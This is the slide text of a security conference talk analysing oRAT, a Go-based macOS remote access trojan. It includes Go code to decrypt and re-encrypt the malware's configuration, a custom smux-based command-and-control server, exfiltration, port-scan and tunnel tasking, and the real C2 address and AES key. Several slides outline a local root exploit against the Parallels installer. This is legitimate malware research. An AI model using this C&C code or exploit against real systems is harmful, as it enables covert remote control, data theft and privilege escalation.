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Making oRAT, Go

Patrick Wardle
October 07, 2022

Making oRAT, Go

oRAT is a new piece of macOS malware, written in Go, belonging to a recently uncovered APT group, "Earth Berberoka". After first addressing challenges of reversing Go-based malware, we will provide the first comprehensive analysis of this intriguing threat …but not in the traditional way.

Rather we’ll highlight the creation of a custom command & control server that allowed us to uncover the malware’s full functionality, simply by asking the right questions!

Patrick Wardle

October 07, 2022
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  1. Making oRAT ...Go! Want to play along? 
 You can

    download a sample from: objective-see.org/malware.html
  2. Config & Proto Capabilities OUTLINE Background oRAT The approaches, techniques,

    & tools discussed here, are generically applicable to the analysis of other macOS malware specimens (as well). analysis of oRAT (custom) C&C
  3. "EARTH BERBEROKA" APT a new apt group ...with new macOS

    malware! "New APT Group Earth Berberoka Targets 
 Gambling Websites With Old and New Malware" -TrendMicro 
 
 "From the Front Lines | Unsigned 
 macOS oRAT Malware Gambles For The Win" -SentinelOne New APT group: "Earth Berberoka" "...targets gambling websites on Windows, macOS, & Linux platforms using old and new malware families" } oRAT malware focus of our analysis today Existing triage(s):
  4. EXISTING TRIAGES ...more of an overview Infection vector Largely based

    on static analysis: (likely) Capabilities "In my testing scenario, the malware runs the code, but local listening server immediately ends/not starts at all. 
 
 Thus in this case, the second part of the analysis was only static (and high-level only)" -oRAT Analyst Configuration
  5. OUR APPROACH (complete) analysis ...via a custom C&C server (custom)

    
 C&C server tasking (commands) checkin... }results Capabilities By tasking an infected host (via our custom C&C server) we can passively observe the malware actions, thus revealing its capabilities! result: a comprehensive analysis 
 ....without having to fully reverse the sample! Monitoring 
 tools
  6. PREREQUISITES to task & monitor the malware (re)Configuration (to talk

    to *our* C&C server) (custom) 
 C&C server Protocol (to know how to task) Tools 
 to monitor
  7. BASIC TRIAGE hashes, file type, code signing, and more %

    file oRat/darwinx64 oRat/darwinx64: Mach-O 64-bit executable x86_64 % md5 oRat/darwinx64 9bac717cb7f37a88541c94d09666b960 % shasum oRat/darwinx64 26ccf50a6c120cd7ad6b0d810aca509948c8cd78 % strings - oRat/darwinx64 
 ... 
 
 Info: This file is packed with 
 the UPX executable packer http://upx.sf.net 
 Id: UPX 3.96 Copyright (C) 
 1996-2020 the UPX Team. All Rights Reserved. oRat: 
 unsigned, packed, 64-bit Mach-O binary Hashes File type 
 (64-bit Mach-O) Unsigned 
 (via WhatsYourSign) Embedded strings 
 (...it's packed via UPX)
  8. UNPACKING trivial, via UPX % brew install upx 
 %

    upx -d oRat/darwinx64 -o oRat/darwinx64_UNPACKED 
 Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 10334144 <- 3866806 37.42% macho/amd64 darwinx64_UNPACKED Unpacked 1 file. 
 
 % du -h darwinx64 3.7M 
 % du -h darwinx64_UNPACKED 9.9M unpack with -d flag almost 10MB :/ Unpacking oRat (via UPX)
  9. DEPENDENCIES some dynamic ...most though, are static? % otool -L

    oRat/darwinx64_UNPACKED 
 
 /usr/lib/libSystem.B.dylib 
 /System/Library/Frameworks/Security.framework/Versions/A/Security 
 /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation ...very few (dynamic) dependencies % strings - oRat/darwinx64_UNPACKED 
 ... 
 github.com/pkg/sftp github.com/xtaci/smux github.com/gliderlabs/ssh github.com/labstack/echo/v4 github.com/go-resty/resty/v2 github.com/sevlyar/go-daemon 
 
 golang.org/x/net/http2 
 vendor/golang.org/x/crypto/ + static dependencies? } networking daemonization cryptography written in Go ?
  10. RESOURCES ...on reversing Go "Reversing GO binaries like a pro"

    
 https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/ "Reversing Golang Binaries with Ghidra" 
 https://vblocalhost.com/uploads/2021/09/VB2021-04.pdf "AlphaGolang | A Step-by-Step Go Malware Reversing Methodology for IDA Pro" 
 https://www.sentinelone.com/labs/alphagolang-a-step-by-step-go-malware-reversing-methodology-for-ida-pro/ Resources:
  11. IDENTIFYING GO look for a build identifier % strings -

    oRat/darwinx64_UNPACKED 
 ... 
 
 ? Go build ID: "FlbKFSZYPw70PUoFI1...pwP83" 
 function __rt0_amd64_darwin { 
 
 return__rt0_amd64(...); 
 
 } 01 02 03 04 05 
 void __rt0_amd64(...) { 
 
 _runtime.rt0_go(...); 
 
 return; 
 } 01 02 03 04 
 05 06 
 Written in Go?: 
 Binary will contain "Go build ID: <id>" oRat contains 
 "Go build ID: <id>" Entry point Go runtime bootstrap 
 function(s): "rto_go"
  12. REVERSING GO: CHALLENGES large size, with lots of (benign) library

    code Large size % GOOS=darwin GOARCH=amd64 go build hello.go % file hello Mach-O 64-bit executable x86_64 
 
 % du -h hello 1.1M package main 
 
 func main() { 
 print("Hello, #OBTS!\n") 
 } 01 02 03 04 
 05 
 hello.go binary: 1M+ "Due to the approach of statically-linking dependencies, the simplest Go binary is multiple megabytes in size and one with proper functionality can figure in the 15-20mb range." -Juan malicious code + dependencies (libraries) 
 ...want to identify the latter, and ignore
  13. reversing tools are confused by "Go strings" "Go" Strings: 


    non-null terminated package main 
 
 func main() { 
 print("Hello, #OBTS!\n") 
 } 01 02 03 04 
 05 
 hello.go Disassembly "_go.string.*+3597" 
 x-ref to ...??? embedded, non-null terminated strings 
 (e.g. "Hello, #OBTS!") REVERSING GO: CHALLENGES
  14. BUT IS IT SAFE? ...(authenticated) installers often are not Can

    a local unprivileged attacker 
 subvert this process to elevate privileges?
  15. BEHIND THE SCENES ...user-owned binaries, run as root ...on r/o

    mount # ./ProcessMonitor 
 { 
 "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 
 "process" : { 
 "pid" : 7130 
 "name" : "prl_ls_users", 
 "path" : "~/Library/Caches/com.parallels.webinstaller/MountPoints/ 
 3CC0CE4D-04F8-4B04-92A0-5B6672BBC1E5/Parallels Desktop.app/Contents/MacOS/prl_ls_users", "uid" : 0, 
 ... 
 } # ls -lart "~/Library/Caches/com.parallels.webinstaller/MountPoints/ 
 3CC0CE4D-04F8-4B04-92A0-5B6672BBC1E5/Parallels Desktop.app/Contents/MacOS/prl_ls_users 
 -rwxr-xr-x 1 user staff # mount 
 /dev/disk10s1 on ~/Library/Caches/com.parallels.webinstaller/MountPoints/ 3CC0CE4D-04F8-4B04-92A0-5B6672BBC1E5 (hfs, ... read-only, noowners, nobrowse, mounted by patrick) run as root, but from a r/o mount process running as root (uid 0) owned by user ! not modifiable? (read-only)
  16. 0DAY EXPLOIT ...gaining root via Parallel's installer Detect mount of

    installer disk image Pause installer app (signal: SIGSTOP) Remount disk image as r/w Infect (replace) binary Resume installer app (signal: SIGCONT) subprocess.run(["/usr/bin/hdiutil", 
 "attach", dmg, "-mountpoint", mountPoint, "-shadow"]) 01 02 # whoami 
 root woot, root!
  17. ORAT'S CONFIGURATION ...encrypted, at end of the the file "The

    configuration file and the AES decryption key are appended in an encrypted form [to the malware]" -TrendMicro Key: A45DE10BAB6F6AE5916FE6C224BCCB61 Encrypted config Size % upx -d oRat/darwinx64 --overlay=copy -o oRat/darwinx64_UNPACKED Note: even when "--overlay=copy" is specified 
 unpacking will strip (remove) the config overlay from the file!
  18. ORAT DECRYPTOR ...written in Go //open malware 
 // from

    overlay, read size, key, & encrypted config 
 
 //init AES (mode: GCM) 
 c, err := aes.NewCipher(key) 
 gcm, err := cipher.NewGCM(c) 
 
 //init/extract nonce 
 nonceSize := gcm.NonceSize() 
 nonce, configEncrypted := configEncrypted[:nonceSize], configEncrypted[nonceSize:] 
 
 //decrypt 
 configDecrypted, err := gcm.Open(nil, nonce, configEncrypted, nil) 01 02 03 04 
 05 06 07 08 09 10 11 12 13 
 oRat decryptor % ./decrypt darwinx64 opened: darwinx64 
 extracted key: a45de10bab6f6ae5916fe6c224bccb61 found encrypted config (size: 0xa6 bytes) 
 decrypted config: 
 {"Local":{"Network":"sudp","Address":":5555"}, 
 "C2":{"Network":"stcp","Address":"darwin.github.wiki:53"},"Gateway":false} Patrick's first Go program !
  19. DECRYPTED CONFIG ...that includes the addr of the C&C server

    { 
 "Local": { 
 "Network": "sudp", 
 "Address": ":5555" 
 }, 
 "C2": { 
 "Network": "stcp", 
 "Address": "darwin.github.wiki:53" 
 }, 
 "Gateway": false 
 } 01 02 03 04 
 05 06 07 08 09 10 11 } Local listener 
 (when Gateway is true) } C&C server/proto Protocol Description "tcp" plain text TCP "stcp" encrypted TCP via golang-tls "sudp" encrypted UDP via Quic-go library Supported protocols 
 (credit: TrendMicro) Decrypted configuration "Network" key values:
  20. ORAT ENCRYPTOR ...to reconfigure the malware { 
 "C2": {

    
 "Network": "tcp", 
 "Address": "192.168.0.10:1337" 
 } 
 ... 
 } 01 02 03 04 
 05 06 07 } 192.168.0.10:1337 
 ...our C&C server (custom) 
 C&C server key, err := hex.DecodeString("A45DE10BAB6F6AE5916FE6C224BCCB61") 
 config := []byte("{\"Local\":{\"Network\":\"sudp\",\"Address\":\":5555\"}, 
 \"C2\":{\"Network\":\"tcp\",\"Address\":\"192.168.0.10:1337\"},\"Gateway\":false}") 
 
 //init cipher 
 c, err := aes.NewCipher(key) 
 gcm, err := cipher.NewGCM(c) 
 
 //init nonce 
 nonce := make([]byte, gcm.NonceSize()) 
 io.ReadFull(rand.Reader, nonce) 
 
 //encrypt 
 cipherText := gcm.Seal(nonce, nonce, config, nil) 
 
 //write out: encrypted config + key + size 01 02 03 04 
 05 06 07 08 09 10 11 12 13 
 14 
 15 
 16 new config New config
  21. ORAT ENCRYPTOR ...to reconfigure the malware { 
 "C2": {

    
 "Network": "tcp", 
 "Address": "192.168.0.10:1337" 
 } 
 ... 
 } 01 02 03 04 
 05 06 07 % nc -l 1337 
 ? POST /join HTTP/1.1 Host: localhost User-Agent: requests Content-Length: 10 Content-Type: application/json Accept-Encoding: gzip {"type":0} % hexdump -C darwinx64 
 ... 
 009da570 74 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |te..............| 
 009da580 0c 42 55 f6 39 ba 23 a3 db 7a 4d 05 1e 89 f2 d8 |.BU?9?#??zM...??| 
 009da590 3d d4 ba e3 60 fb 46 ce e4 cc ac 42 c4 85 26 e8 |=?????`?F?? ̬B?.&?| 
 009da5a0 48 02 d6 99 70 fd 19 a6 8a e9 24 bd 04 c7 6d 56 |H.?.p?.?.?$?.?mV| 
 009da5b0 b0 64 a8 28 24 cb d3 c0 14 dd cc 86 70 df 6b 63 |?d?($???.??.p?kc| 
 ... 
 009da5f0 19 9b 62 6b 06 6c 73 a2 fa f3 55 1a d6 6a 48 03 |..bk.ls???U.?jH.| 
 009da600 74 ce 71 85 6f 99 69 bc ba 9f 31 2b 17 94 f2 a4 |t?q.o.i??.1+..??| 
 009da610 5d e1 0b ab 6f 6a e5 91 6f e6 c2 24 bc cb 61 a1 |]?.?oj?.o??$??a?| 
 009da620 00 |.| oRat, reconfigured Success, a connection! new config (encrypted) check-in (from malware)
  22. ANOTHER WAY TO (RE)CONFIGURE? ...yes, via various RK_* environment variables

    Env. Var. Description "RK_NET" Protocol (tcp, stcp, sudp) "RK_ADDR" Address and port of C&C server "RK_DEBUG" Flag for debug messages (and to prevent daemonization) oRat's Environment Variables 0x00000000014aebcf lea rax, qword [RK_ADDR] 
 0x00000000014aebd6 mov qword [rsp], rax 
 0x00000000014aebda mov qword [rsp+0x8], 0x7 
 0x00000000014aebe3 call os.Getenv 01 02 03 04 get value of "RK_ADDR" Querying environment vars (e.g. "RK_ADDR")
  23. ANOTHER WAY TO (RE)CONFIGURE? ...yes, via various RK_* environment variables

    % export RK_NET=tcp % export RK_ADDR=192.168.0.10:666 
 % lldb darwinx64 
 ... Process 3205 stopped darwinx64`main.main: -> 0x14aeaef <+591>: callq 0x14a9da0 ; orat/cmd/agent/app.(*App).Run 
 (lldb) x/x $rsp 0xc00006bee8: 0x000000c0000ee000 (lldb) x/4gx 0x000000c0000ee000 0xc0000ee000: 0x000000c000022067 0x0000000000000003 0xc0000ee010: 0x000000c000026088 0x0000000000000010 
 (lldb) x/s 0x000000c000022067 0xc000022067: "tcp" 
 (lldb) x/s 0x000000c000026088 0xc000026088: "192.168.0.10:666" value of "RK_NET" value of "RK_ADDR" }
  24. COMMUNICATIONS VIA SMUX ...a multiplex library % nc -l 1337

    
 
 ? POST /join HTTP/1.1 Host: localhost User-Agent: requests Content-Length: 10 Content-Type: application/json Accept-Encoding: gzip {"type":0} hrmmm, not plain HTTP "Smux (Simple MUltipleXing) is a multiplexing library for Golang. 
 
 It relies on an underlying connection ...and provides stream- oriented multiplexing" -github.com/xtaci/smux Disassembly Slightly strange traffic... "xtaci/smux" library
  25. MUX'ING ...malware's comms routed thru single connection } } Efficient

    heartbeat, C&C tasking, 
 mux'd over one connection (somewhat) Stealthy oRat's mux'd connection to C&C server Mux'ing } Need a "mux- aware" C&C
  26. CREATING AN ORAT C&C SERVER install xtaci/smux package package main

    
 import ( ... "net" "github.com/xtaci/smux" ) 01 02 03 04 
 05 06 07 08 09 % go install github.com/xtaci/smux Q: How do you install Go packages? A: Via go install <package> how Patrick learns Go then, add import
  27. CREATING AN ORAT C&C SERVER listen and accept connections func

    server(port string) { 
 
 //listen on specified port 
 listener, err := net.Listen("tcp", "0.0.0.0" + ":" + port) 
 
 //accept connection 
 // invoke function to handle 
 for { 
 conn, err := listener.Accept() 
 
 go handleConnection(conn) 
 } 01 02 03 04 
 05 06 07 08 09 10 11 12 % GOOS=darwin GOARCH=amd64 go build 
 % ./server 1337 Launching oRat C&C Server... [+] Listening on port: 1337 [+] New client connection: 192.168.0.27:54784 1337 Listen Accept connection Handle connection A connection
  28. CREATING AN ORAT C&C SERVER init mux server and accept

    stream func handleConnection(conn net.Conn) { 
 
 //init mux session 
 session, err := smux.Server(conn, nil) 
 
 //accept stream 
 stream, err := session.AcceptStream() 
 
 fmt.Println("Accepted stream w/ flow id: ", stream.ID()) 
 
 //handle stream 
 go handleStream(stream, session) 
 } 01 02 03 04 
 05 06 07 08 09 10 11 12 13 % ./server 1337 Launching oRat C&C Server... [+] Listening on port: 1337 [+] New client connection: 192.168.0.27:54784 1337 
 
 [+] Accepted stream w/ flow id: 3 
 POST /join HTTP/1.1 ... {"type":0} Init mux server Accept mux stream ...handle the stream Check-in
  29. ORAT PROTOCOL ...tasking, handled via "routes" "The [local] control server

    is implemented by registering routes. 
 
 This simple mechanism leads to translating GET/POST requests directly as internal Go commands. Requesting a URL therefore results in executing the corresponding code on an infected system." -TrendMicro Register Routes: 
 request → handlers Process requests (lookup handler for request and invoke it) Request: 
 "GET <some/request>"
  30. ORAT'S REGISTERED ROUTES via labstack's echo server (v4.0) int orat/cmd/agent/app.(*App).registerRouters(...)

    
 
 0x00000000014aa691 mov rax, qword [rsp+0x8] 
 0x00000000014aa696 lea rcx, qword [_orat/cmd/agent/app.(*App).Info-fm] 
 0x00000000014aa69d mov qword [rax], rcx 
 ... 
 
 0x00000000014aa6d6 lea rdx, qword [GET] 0x00000000014aa6dd mov qword [rsp+0x18], rdx 
 ... 
 
 0x00000000014aa6eb lea rbx, qword [AGENT_INFO] 
 0x00000000014aa6f2 mov qword [rsp+0x28], rbx 
 ... 
 
 0x00000000014aa713 call _github.com/labstack/echo/v4.(*Echo).add 01 02 03 04 
 05 06 07 08 09 10 11 12 13 14 15 16 Specify route handler Specify route request verb Specify route request server: labstack's echo server (a "high perf. minimalist Go web framework") Register ("install") route
  31. ...in action, via *Router.Find, then invocation ORAT'S REGISTERED ROUTES %

    lldb darwinx64 
 ... Process 3205 stopped * thread #1, stop reason = breakpoint 1.1 frame #0: 0x000000000131f9e0 darwinx64`github.com/labstack/echo/v4.(*Router).Find 
 darwinx64`github.com/labstack/echo/v4.(*Router).Find: -> 0x131f9e0 <+0>: movq %gs:0x30, %rcx (lldb) backtrace * thread #1, stop reason = breakpoint 6.1 * frame #0: 0x000000000131f9e0 darwinx64`github.com/labstack/echo/v4.(*Router).Find frame #1: 0x000000000131bbeb darwinx64`github.com/labstack/echo/v4.(*Echo).ServeHTTP + 299 frame #2: 0x00000000012d9743 darwinx64`net/http.serverHandler.ServeHTTP + 163 frame #3: 0x00000000012d5e8d darwinx64`net/http.(*conn).serve + 2221 (lldb) continue 
 Process 3205 stopped * thread #1, stop reason = breakpoint 2.1 frame #0: 0x00000000014ad2e0 darwinx64`orat/cmd/agent/app.(*App).Info-fm 
 darwinx64`orat/cmd/agent/app.(*App).Info-fm: -> 0x14ad2e0 <+0>: movq %gs:0x30, %rcx lookup (find) handler 
 based on route request invoke the handler
  32. ORAT'S ROUTES "commands" taskable from a remote c&c server Request

    Verb Handler Name /agent/info GET orat/cmd/agent/app.(*App).Info-fm /agent/ping GET orat/cmd/agent/app.(*App).Ping-fm /agent/upload POST orat/cmd/agent/app.(*App).UploadFile-fm /agent/download GET orat/cmd/agent/app.(*App).DownloadFile-fm /agent/screenshot GET orat/cmd/agent/app.(*App).Screenshot-fm /agent/zip GET orat/cmd/agent/app.(*App).Zip-fm /agent/unzip GET orat/cmd/agent/app.(*App).Unzip-fm /agent/kill-self GET orat/cmd/agent/app.(*App).KillSelf-fm /agent/portscan GET orat/cmd/agent/app.(*App).PortScan-fm /agent/proxy GET orat/cmd/agent/app.(*App).NewProxyConn-fm /agent/ssh GET orat/cmd/agent/app.(*App).NewShellConn-fm /agent/net GET orat/cmd/agent/app.(*App).NewNetConn-fm oRat's registered routes extracted from: app.(*App).registerRouters
  33. ORAT'S REGISTERED ROUTES and what about parameters (arguments)? orat/cmd/agent/app.(*App).PortScan 


    
 0x00000000014abeca lea rbx, qword [HOST_STR] ; string: "Host" 
 0x00000000014abed1 mov qword [rsp+0x8], rbx 
 0x00000000014abed6 mov qword [rsp+0x10], 0x4 
 0x00000000014abedf nop 
 0x00000000014abee0 call rcx ; echo/v4.(*context).QueryParam() 
 ... 
 0x00000000014abf11 lea rdi, qword [PORT_STR] ; string: "Port" 
 0x00000000014abf18 mov qword [rsp+0x8], rdi 
 0x00000000014abf1d mov qword [rsp+0x10], 0x4 
 0x00000000014abf26 call rbx ; echo/v4.(*context).QueryParam() 
 ... 01 02 03 04 
 05 06 07 08 09 10 11 12 13 Request: 
 "GET /agent/portscan?Host=<host>&Port=<ports>..." Expected parameters (found via disassembly)
  34. TASKING ...but how? % lldb darwinx64 
 ... Process 3205

    stopped 
 
 * thread #1, stop reason = breakpoint 7.1 darwinx64`github.com/labstack/echo/v4.(*Echo).StartServer: -> 0x131bde0 <+0>: movq %gs:0x30, %rcx (lldb) backtrace * thread #1, stop reason = breakpoint 7.1 * frame #0: 0x000000000131bde0 darwinx64`github.com/labstack/echo/v4.(*Echo).StartServer frame #1: 0x00000000014aa0df darwinx64`orat/cmd/agent/app.(*App).Serve + 255 frame #2: 0x00000000014ac9bf darwinx64`orat/cmd/agent/app.(*App).run.func1 + 63 
 
 (lldb) continue call echo server's StartServer ...but no listening socket!? Listening sockets 
 (none!?)
  35. TASKING via a (mux'd) stream! session, _ := smux.Server(conn, nil)

    
 stream, _ := session.AcceptStream() 
 ... 
 
 
 func StreamHandler(stream *smux.Stream, session *smux.Session) { 
 
 taskingStream, _ := session.OpenStream() 
 
 taskingStream.Write([]byte("GET /agent/info HTTP/1.1\r\nHost:foo.com\r\n\r\n")) 
 
 n, _ = taskingStream.Read(buffer) 
 fmt.Println(fmt.Sprintf("%s", buffer[:n])) 
 01 02 03 04 
 05 06 07 08 09 10 11 12 13 Open stream 
 (on existing session) Read from stream, to receive response Task, by writing to stream Tasking ...in 3 easy steps ! C&C server, using smux library
  36. TASKING survey (via /agent/info) % ./server 1337 Launching oRat C&C

    Server... [+] Listening on port: 1337 [+] New client connection: 192.168.0.27:54784 1337 
 
 [+] Accepted stream w/ flow id: 3 POST /join HTTP/1.1 ... {"type":0} [+] Sending: GET /agent/info HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 
 ... { "OS": "darwin", "Arch": "amd64", "Hostname": "users-Mac.local", "Username": "user", "RemoteAddr": "", "Version": "v0.5.1", "JoinTime": "0001-01-01T00:00:00Z" } task hooray, a response ! 
 ...info about (infected) host
  37. TASKING exfil (via GET /agent/download?file=<path 2 file>) % ./server 1337

    Launching oRat C&C Server... [+] New client connection: 192.168.0.27:54784 1337 
 [+] Sending: GET /agent/download?file=/Users/user/Desktop/exfil.txt HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 12 Content-Type: text/plain; charset=utf-8 Last-Modified: Tue, 06 Sep 2022 00:34:26 GMT Hello, #OBTS! task response: file's contents # ./FileMonitor -filter darwinx64 
 { 
 "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", 
 "file" : { 
 "destination" : "/Users/user/Desktop/exfil.txt", 
 "process" : { 
 "pid" : 3644 
 "path" : "/Users/user/Desktop/darwinx64", 
 } 
 ... File Monitor 
 (on infected system) Route: /agent/download
  38. TASKING screenshot (via GET /agent/screenshot) % ./server 1337 Launching oRat

    C&C Server... [+] New client connection: 192.168.0.27:54784 1337 
 
 [+] Sending: GET /agent/screenshot HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=UTF-8 Date: Tue, 06 Sep 2022 00:32:42 GMT Content-Length: 22 does not support macOS task response: not implemented (on macOS) Route: /agent/screenshot 
 (unsupported)
  39. TASKING tunnel (via GET /agent/net) % ./server 666 Launching oRat

    C&C Server... [+] New client connection: 192.168.0.27:54784 666 
 [+] Sending: GET /agent/net?Host=192.168.0.11&Port=1234&Network=tcp&Timeout=100 connected. [+] Sending "Knock Knock" [+] Received: "Who's There?" task % ifconfig en0 
 192.168.0.11 
 % nc -l 1234 Knock Knock Who's There? "Knock Knock" "Who's There?" Tunnel endpoint Route: /agent/net tunnel communications
  40. TASKING port scan (via /agent/portscan) % ./server 1337 Launching oRat

    C&C Server... [+] New client connection: 192.168.0.27:54784 1337 
 [+] Sending: /agent/portscan?Host=192.168.0.10&Port=1000-2000&Thread=1&Timeout=100 
 
 Start. Open: 192.168.0.10:1234 Done. Port Scan (via WireShark) Route: /agent/portscan task response: port scan results is port (1234) open?
  41. TASKING self-delete (via /agent/kill-self) % ./server 666 Launching oRat C&C

    Server... [+] New client connection: 192.168.0.27:54784 666 
 [+] Sending: GET /agent/kill-self 
 
 Client disconnected , Destruction session , Peer address: 192.168.0.27:56075 # ./FileMonitor -filter darwinx64 
 { "event" : "ES_EVENT_TYPE_NOTIFY_UNLINK", "file" : { "destination" : "/Users/user/Desktop/darwinx64", "process" : { 
 "pid" : 3644 
 "path" : "/Users/user/Desktop/darwinx64", 
 } 
 ... # ./ProcessMonitor 
 { "event" : "ES_EVENT_TYPE_NOTIFY_EXIT", "process" : { 
 "pid" : 3644 
 "path" : "/Users/user/Desktop/darwinx64", 
 ... 
 "exit code" : 0 
 } 
 ... task client disconnect Self delete Terminate Route: /agent/kill-self
  42. TAKEAWAYS Studying an APT's macOS tools, provide insights into the

    Apple-specific approaches employed by advanced adversaries. Via a custom command and control server one can 
 efficiently understand the capabilities of complex malware! ...and now you have a (re)configurable malware, and a compatible command and control server. Go play?
  43. RESOURCES: Making oRAT Go "New APT Group Earth Berberoka Targets

    Gambling Websites With Old and New Malware" 
 https://www.trendmicro.com/en_us/research/22/d/ 
 new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html 
 
 "From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win" 
 https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/ 
 
 "Reversing GO binaries like a pro" 
 https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/ 
 
 "AlphaGolang | A Step-by-Step Go Malware Reversing Methodology for IDA Pro" 
 https://www.sentinelone.com/labs/alphagolang-a-step-by-step-go-malware-reversing-methodology-for-ida-pro/